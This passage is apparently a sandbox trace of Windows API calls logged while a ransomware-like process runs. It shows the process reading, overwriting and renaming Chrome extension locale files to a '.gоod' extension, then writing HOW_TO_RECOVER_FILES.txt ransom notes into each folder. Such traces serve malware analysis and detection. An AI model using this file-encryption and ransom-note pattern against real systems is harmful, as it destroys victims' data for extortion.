lpOldMode=0x209ebbc0) returned 1 [0229.388] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0229.388] GetFileType (hFile=0x85c) returned 0x1 [0229.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0229.388] GetFileType (hFile=0x85c) returned 0x1 [0229.388] GetFileSize (in: hFile=0x85c, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0x103 [0229.388] ReadFile (in: hFile=0x85c, lpBuffer=0x37dc8e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x37dc8e8*, lpNumberOfBytesRead=0x209ebc98*=0x103, lpOverlapped=0x0) returned 1 [0229.389] CloseHandle (hObject=0x85c) returned 1 [0230.056] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json", lpFilePart=0x0) returned 0x89 [0230.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0230.056] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0230.058] GetFileType (hFile=0x85c) returned 0x1 [0230.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0230.058] GetFileType (hFile=0x85c) returned 0x1 [0230.058] WriteFile (in: hFile=0x85c, lpBuffer=0x373d3e0*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x373d3e0*, lpNumberOfBytesWritten=0x209ebba8*=0x110, lpOverlapped=0x0) returned 1 [0230.059] CloseHandle (hObject=0x85c) returned 1 [0230.059] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json", lpFilePart=0x0) returned 0x89 [0230.059] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0230.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0230.059] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82973c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82973b2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x855653c2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0230.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0230.059] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json.gоod")) returned 1 [0230.060] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0230.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0230.060] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0230.060] GetFileType (hFile=0x85c) returned 0x1 [0230.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0230.060] GetFileType (hFile=0x85c) returned 0x1 [0230.061] WriteFile (in: hFile=0x85c, lpBuffer=0x3740d18*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3740d18*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0230.062] CloseHandle (hObject=0x85c) returned 1 [0230.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0230.062] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar", lpFilePart=0x0) returned 0x7b [0230.062] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe829c1de, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82a5e26, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82a5e26, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0230.063] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe829c1de, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82a5e26, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82a5e26, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.063] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82a5e26, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82a5e12, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0230.063] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0230.063] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0230.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0230.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0230.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0230.063] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar", lpFilePart=0x0) returned 0x7b [0230.063] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe829c1de, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82a5e26, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82a5e26, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af80 [0230.063] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe829c1de, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82a5e26, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82a5e26, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.117] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82a5e26, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82a5e12, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0230.117] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82a5e26, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82a5e12, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0230.117] FindClose (in: hFindFile=0x134af80 | out: hFindFile=0x134af80) returned 1 [0230.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0230.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0230.117] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json", lpFilePart=0x0) returned 0x89 [0230.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0230.117] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3750ce8 | out: lpFileInformation=0x3750ce8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82a5e26, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82a5e12, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xed)) returned 1 [0230.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0230.118] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json", lpFilePart=0x0) returned 0x89 [0230.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0230.118] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0230.118] GetFileType (hFile=0x85c) returned 0x1 [0230.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0230.118] GetFileType (hFile=0x85c) returned 0x1 [0230.118] GetFileSize (in: hFile=0x85c, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xed [0230.118] ReadFile (in: hFile=0x85c, lpBuffer=0x3751190, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x3751190*, lpNumberOfBytesRead=0x209ebc98*=0xed, lpOverlapped=0x0) returned 1 [0230.119] CloseHandle (hObject=0x85c) returned 1 [0230.231] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json", lpFilePart=0x0) returned 0x89 [0230.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0230.231] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0230.232] GetFileType (hFile=0x630) returned 0x1 [0230.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0230.232] GetFileType (hFile=0x630) returned 0x1 [0230.233] WriteFile (in: hFile=0x630, lpBuffer=0x365d118*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x365d118*, lpNumberOfBytesWritten=0x209ebba8*=0xf0, lpOverlapped=0x0) returned 1 [0230.234] CloseHandle (hObject=0x630) returned 1 [0230.234] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json", lpFilePart=0x0) returned 0x89 [0230.234] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0230.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0230.234] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82a5e26, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82a5e12, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8572a110, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0230.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0230.234] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json.gоod")) returned 1 [0230.235] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0230.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0230.235] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0230.240] GetFileType (hFile=0x630) returned 0x1 [0230.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0230.240] GetFileType (hFile=0x630) returned 0x1 [0230.241] WriteFile (in: hFile=0x630, lpBuffer=0x3660a50*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3660a50*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0230.242] CloseHandle (hObject=0x630) returned 1 [0230.243] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0230.243] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az", lpFilePart=0x0) returned 0x7b [0230.243] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82ad358, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82afa67, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82afa67, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae00 [0230.244] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82ad358, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82afa67, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82afa67, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.244] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82afa67, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82afa52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0xa7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0230.244] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0230.244] FindClose (in: hFindFile=0x134ae00 | out: hFindFile=0x134ae00) returned 1 [0230.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0230.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 